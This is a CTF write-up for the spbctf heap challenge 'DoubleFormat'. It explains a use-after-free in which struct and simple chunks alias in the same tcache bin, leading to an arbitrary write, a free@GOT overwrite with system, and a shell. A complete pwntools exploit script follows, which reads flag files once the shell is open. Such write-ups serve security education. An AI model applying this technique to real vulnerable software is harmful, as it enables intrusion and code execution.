DoubleFormat
DoubleFormat
Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-07-03 | Status: Solved Techniques: fgets_size_control, got_overwrite_via_arbitrary_write, tcache_bin_overlap, uaf_struct_alias
Summary
Task: heap exploitation binary with UAF in two allocation types (simple chunks and struct chunks) sharing the same tcache bin, Partial RELRO, glibc 2.31, PIE/system leaked at startup. Solution: UAF struct-alias to overwrite struct's ptr/size fields, then arbitrary write system to free@GOT via fgets with careful size control to avoid newline corruption.
DoubleFormat — spbctf
Description
DF for beginners
Heap exploitation challenge. Binary df.elf (ELF 64-bit PIE, Partial RELRO, NX, Canary, glibc 2.31). Connect via nc 109.233.56.90 11598.
The binary provides two arrays of heap allocations (A and B) with add/mod/read/delete operations. Both have use-after-free vulnerabilities. The goal is to exploit the UAF to get a shell and read the flag.
Analysis
Binary protections
- PIE enabled (but base leaked at startup)
- Partial RELRO — GOT is writable
- NX — no shellcode on stack/heap
- Canary — stack canary present
- glibc 2.31 (Ubuntu 20.04) — no safe-linking in tcache,
__free_hookexists
Startup leak
The binary prints Main at %p, system at %p\n on startup, directly leaking:
- PIE base:
main_addr - 0x11c9 - libc
systemaddress
Data structures
- Array A (
as[10]at PIE+0x40c0): Simple chunks.addAmallocs 0x10 bytes (→ 0x20 chunk), reads viafgets(chunk, 0x10, stdin). - Array B (
bs[10]at PIE+0x4120): Struct chunks.addBmallocs 0x10 forstruct{char *ptr; int size}, then mallocssizebytes for inner buffer, reads into inner via fgets.
Critical observation: Both A chunks (0x20) and B struct chunks (0x20) land in the same tcache[0x20] bin.
Vulnerability
Both delA and delB free chunks without nulling the pointer — classic use-after-free. Since A chunks and B struct chunks share the same tcache bin size, freeing a B struct and then allocating an A chunk returns the B struct's memory. This allows overwriting the struct's ptr and size fields, creating arbitrary read/write primitives via readB/modB.
Why simpler approaches failed
-
Tcache poison to return fake GOT chunk:
tcache_getin glibc 2.31 writese->key = NULLat chunk+8, which corrupts the adjacent GOT entry (e.g., returningfree_gotas a chunk corruptsputs@gotat offset +8). Crashes before the write takes effect. -
__free_hook = system: Crashed due tomovapsstack alignment —systemcalled from deep insidefree's call chain had misaligned RSP (needs 16-byte alignment). -
__free_hook = one_gadget: All three one_gadgets (0xe6aee, 0xe6af1, 0xe6af4) failed due to register constraints not being met. -
sendlinefor GOT write:fgetsstores the\ndelimiter character in the buffer. Usingsendline(which appends\n) causes fgets to store newline at byte 6, corruptingfree@gotwith0x0ainstead of0x00.
Solution
Phase 1: Leak (free)
Startup gives PIE base and system address. Compute free@got = pie_base + 0x4018.
Phase 2: UAF struct-alias for arbitrary write primitive
addB(0, 0x18, "AAAA")— creates struct0 (0x20 chunk) + inner0 (0x20 chunk, size=0x18)delB(0)— frees inner0 then struct0 into tcache[0x20].bs[0]still points to freed struct0 (UAF)addA(0, p64(free_got) + p32(7))— pops struct0 from tcache as an A chunk, overwrites struct0's fields:ptr = free_got,size = 7
Now bs[0]->ptr points to free@got and bs[0]->size = 7.
Phase 3: GOT overwrite via modB
modB(0)withio.send(p64(system)[:6])— NO newline!
fgets(free_got, 7, stdin) reads up to 6 bytes (size-1), appends NUL at offset 6. By using send() without newline and size=7, fgets reads exactly 6 bytes of the system address, then NUL-terminates at byte 6. This writes system correctly (libc addresses are 6 bytes on x86-64) without corrupting adjacent puts@got at free_got+8.
Phase 4: Trigger shell
addA(1, "/bin/sh")— allocate chunk containing "/bin/sh"delA(1)—free(as[1])→free@plt→free@got = system→system("/bin/sh")→ shell!
python read-only • copy allowed#!/usr/bin/env python3 """DoubleFormat exploit: UAF struct-alias -> arbitrary write via modB -> free@got=system -> shell""" from pwn import * import sys, re, time context.arch = 'amd64' context.log_level = 'info' HOST, PORT = '109.233.56.90', 11598 def start(): if len(sys.argv) > 1 and sys.argv[1] == 'local': return process('./df.elf') return remote(HOST, PORT) def main(): io = start() first = io.recvline() log.info(first.decode(errors='replace').strip()) pie = int(first.split(b'Main at ')[1].split(b',')[0], 16) - 0x11c9 system = int(first.split(b'system at ')[1], 16) free_got = pie + 0x4018 log.success(f'pie={hex(pie)} system={hex(system)} free_got={hex(free_got)}') io.recvuntil(b'command') def addA(i, v): io.sendline(b'addA'); io.recvuntil(b'number for A'); io.sendline(str(i).encode()) io.recvuntil(b'value for cell'); io.sendline(v); io.recvuntil(b'command') def addB(i, size, v): io.sendline(b'addB'); io.recvuntil(b'number for B'); io.sendline(str(i).encode()) io.recvuntil(b'size for cell'); io.sendline(str(size).encode()) io.recvuntil(b'value for cell'); io.sendline(v); io.recvuntil(b'command') def modB_raw(i, data): """modB but use send() instead of sendline() to avoid trailing newline""" io.sendline(b'modB'); io.recvuntil(b'number for B'); io.sendline(str(i).encode()) io.recvuntil(b'value for cell') io.send(data) # NO newline! fgets will read exactly len(data) bytes if len < size def delB(i): io.sendline(b'delB'); io.recvuntil(b'number for B'); io.sendline(str(i).encode()); io.recvuntil(b'command') def delA(i): io.sendline(b'delA'); io.recvuntil(b'number for A'); io.sendline(str(i).encode()) # Phase 1: struct-alias to get arbitrary write # addB(0, size=0x18) creates struct0(0x20) + inner0(0x20) addB(0, 0x18, b'AAAA') delB(0) # tcache[0x20]: struct0 -> inner0. bs[0] = struct0 (UAF) # Pop struct0 as A chunk, rewrite: ptr=free_got, size=7 # fgets(free_got, 7, stdin) reads up to 6 bytes (no newline needed) addA(0, p64(free_got) + p32(7)) # struct0->ptr=free_got, struct0->size=7 # Phase 2: write system to free@got via modB # Send exactly 6 bytes (system[:6]) without newline. # fgets(free_got, 7) reads 6 bytes, appends NUL at offset 6. # free_got[0:6]=system, [6]=NUL, [7]=untouched(0). puts@got at [8] safe. modB_raw(0, p64(system)[:6]) # Wait for fgets to consume the 6 bytes and return time.sleep(0.5) # Now we need to consume the "Enter command" prompt that follows io.recvuntil(b'command') # Phase 3: trigger free("/bin/sh") -> system("/bin/sh") addA(1, b'/bin/sh') delA(1) time.sleep(1) io.sendline(b'echo ===SHELL===; id; cat flag* /flag* /home/*/flag* 2>/dev/null; ls -la') time.sleep(2) data = io.recvrepeat(3) result = data.decode(errors='replace') print(result) m = re.search(rb'[A-Za-z0-9_]{2,}\{[^}]+\}', data) if m: log.success('FLAG: ' + m.group().decode()) try: io.interactive() except Exception: pass if __name__ == '__main__': main()